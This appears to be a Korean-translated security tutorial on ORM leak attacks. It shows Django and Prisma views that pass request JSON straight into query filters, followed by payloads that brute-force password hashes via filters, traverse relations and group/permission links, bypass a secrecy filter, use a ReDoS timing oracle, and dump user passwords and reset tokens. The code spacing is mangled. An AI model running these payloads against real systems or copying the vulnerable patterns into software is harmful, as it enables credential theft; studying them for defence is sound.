이 게시물에서는 예를 들어 다음과 같은 코드를 사용하여 Django ORM을 취약하게 만드는 방법을 설명합니다:
classArticleView(APIView):"""사용자가 기사 검색을 위해 요청을 보내는 기본 API 뷰"""defpost(self,request: Request,format=None):try: articles = Article.objects.filter(**request.data) serializer =ArticleSerializer(articles, many=True)exceptExceptionas e:returnResponse([])returnResponse(serializer.data)
모든 request.data(이는 json이 될 것입니다)가 데이터베이스에서 객체를 필터링하는 데 직접 전달되는 방식에 주목하십시오. 공격자는 예상보다 더 많은 데이터를 유출하기 위해 예상치 못한 필터를 보낼 수 있습니다.
예시:
로그인: 간단한 로그인에서 내부에 등록된 사용자의 비밀번호를 유출하려고 시도합니다.
{"username":"admin","password_startswith":"a"}
비밀번호를 무차별 대입하여 유출될 때까지 시도할 수 있습니다.
관계 필터링: 예상치도 못한 열에서 정보를 유출하기 위해 관계를 탐색할 수 있습니다. 예를 들어, 다음과 같은 관계를 가진 사용자가 생성한 기사를 유출할 수 있다면: Article(created_by) -[1..1]-> Author (user) -[1..1]-> User(password).
{"created_by__user__password__contains":"pass"}
모든 사용자가 생성한 기사의 비밀번호를 찾는 것이 가능합니다.
다대다 관계 필터링: 이전 예제에서는 기사를 생성하지 않은 사용자의 비밀번호를 찾을 수 없었습니다. 그러나 다른 관계를 따라가면 가능합니다. 예를 들어: Article(created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
이 경우, 우리는 기사를 작성한 사용자들이 속한 부서의 모든 사용자를 찾고 그들의 비밀번호를 유출할 수 있습니다 (이전 json에서는 사용자 이름만 유출하고 있지만, 이후에는 비밀번호를 유출할 수 있습니다).
사용자와의 다대다 관계에서 Django 그룹 및 권한 남용: 게다가, AbstractUser 모델은 Django에서 사용자를 생성하는 데 사용되며, 기본적으로 이 모델은 Permission 및 Group 테이블과의 다대다 관계를 가지고 있습니다. 이는 기본적으로 같은 그룹에 있거나 동일한 권한을 공유하는 경우 한 사용자에서 다른 사용자에 접근하는 기본적인 방법입니다.
# By users in the same groupcreated_by__user__groups__user__password# By users with the same permissioncreated_by__user__user_permissions__user__password
필터 제한 우회: 동일한 블로그 게시물은 articles = Article.objects.filter(is_secret=False, **request.data)와 같은 일부 필터링을 우회할 것을 제안했습니다. is_secret=True인 기사를 덤프하는 것이 가능하며, 관계에서 Article 테이블로 다시 루프를 돌 수 있기 때문에 비밀 기사를 비밀이 아닌 기사에서 유출할 수 있습니다. 결과가 조인되고 is_secret 필드가 비밀이 아닌 기사에서 확인되는 동안 비밀 기사에서 데이터가 유출됩니다.
오류/시간 기반 ReDoS를 통한: 이전 예제에서는 필터링이 작동하는지 여부에 따라 다른 응답을 기대했으며, 이를 오라클로 사용했습니다. 그러나 데이터베이스에서 어떤 작업이 수행되고 응답이 항상 동일할 수 있습니다. 이 시나리오에서는 데이터베이스 오류를 발생시켜 새로운 오라클을 얻을 수 있을 것입니다.
// Non matching password{"created_by__user__password__regex":"^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"}// ReDoS matching password (will show some error in the response or check the time){"created_by__user__password__regex":"^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
constapp=express();app.use(express.json());app.post('/articles/verybad',async (req, res) => {try {// Attacker has full control of all prisma optionsconstposts=awaitprisma.article.findMany(req.body.filter)res.json(posts);} catch (error) {res.json([]);}});
전체 자바스크립트 본문이 prisma에 전달되어 쿼리를 수행하는 것을 볼 수 있습니다.
원래 게시물의 예에서, 이는 누군가에 의해 생성된 모든 게시물을 확인하며 (각 게시물은 누군가에 의해 생성됨) 그 누군가의 사용자 정보 (사용자 이름, 비밀번호 등)도 반환합니다.
{"filter": {"include": {"createdBy":true}}}// Response[{"id":1,"title":"Buy Our Essential Oils","body":"They are very healthy to drink","published":true,"createdById":1,"createdBy": {"email":"karen@example.com","id":1,"isAdmin":false,"name":"karen","password":"super secret passphrase","resetToken":"2eed5e80da4b7491"}},...]